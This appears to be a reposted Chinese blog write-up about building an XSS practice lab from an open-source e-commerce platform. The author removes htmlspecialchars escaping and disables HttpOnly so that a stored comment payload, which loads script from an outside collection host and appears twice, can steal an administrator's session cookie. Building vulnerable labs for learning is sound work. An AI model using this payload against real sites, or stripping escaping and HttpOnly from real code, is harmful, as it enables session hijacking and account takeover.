Web电商安全之xss学习
Posted Coke_Cooler
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web电商安全之xss学习相关的知识,希望对你有一定的参考价值。
Web电商安全之xss学习
最近在改造一个开源电商平台作为电商漏洞平台供大家去学习参考常见的电商web漏洞,今天是做的xss这块,发现htmlspecialchars这个函数与HttpOnly的重要性
首先我是找到了xss免费平台注册账号使用
之后观察电商网页的注册页面试图插入xss恶意脚本
发现有对长度和字符的判断,观察了项目代码发现是前端有ajax以及正则表达式(这个看不懂也不是会…),后端的判别也是防止注入各种过滤很难去改动,于是我就寻找其他地方。
在商品评价里发现可以有进展,通过在phpstorm里面搜索关键词“评论”然后从前端逐级向服务层寻找发现它只有长度的限制,于是我修改长度限制后在评论中输入恶意代码
他是过关可以提交的,我们点击提交插入恶意xss代码
之后我们登录管理员后台查看,
</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/xOif></sCrIpT>
两个对比插入前(上)和插入后管理员显示(下)对比
</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/xOif></sCrIpT>
发现’ < ’ ’ > ’ ’ ’ ’ 等都存在转义,这是一种常见对xss的防护手段,我们要更改掉这个转义过滤让这个电商平台的评论区可以成为一个Xss漏洞攻击点
在GoodsCommentsService.php服务层找到了
找到content中的htmlspecialchars函数,通过搜索对该函数的讲解:
https://baijiahao.baidu.com/s?id=1621553793329253809&wfr=spider&for=pc得知是它将我们的字符转义于是删除该函数修改为:
再次尝试评论插入,这个时候我在xss平台得到了cookie以及其他相关信息
但是我们发现这个cookie:aaa明显是没有用的cookie
于是我登录管理员后台按F12进入application,发现HttpOnly是开启的,之前搜索xss防范也看到了HttpOnly是一种很好的防范,因为不会让javascript脚本执行。HttpOnly的存在让我们无法拿到这个PHPSESSID真正的cookie,然后我去寻找资料如何关闭HttpOnly或者绕过HttpOnly
我选择了关闭HttpOnly(因为关闭比较简单…)
再次在评论区输入相同的恶意xss代码,查看我们的接受数据的xss平台
OK大功告成拿到了真正的cookie
感悟:在把一个正规的开源电商平台模板去修改成一个漏洞平台的学习过程中,是对Php语言的学习也是对漏洞原理的一个学习,希望自己不要只成为脚本小子!
以上是关于Web电商安全之xss学习的主要内容,如果未能解决你的问题,请参考以下文章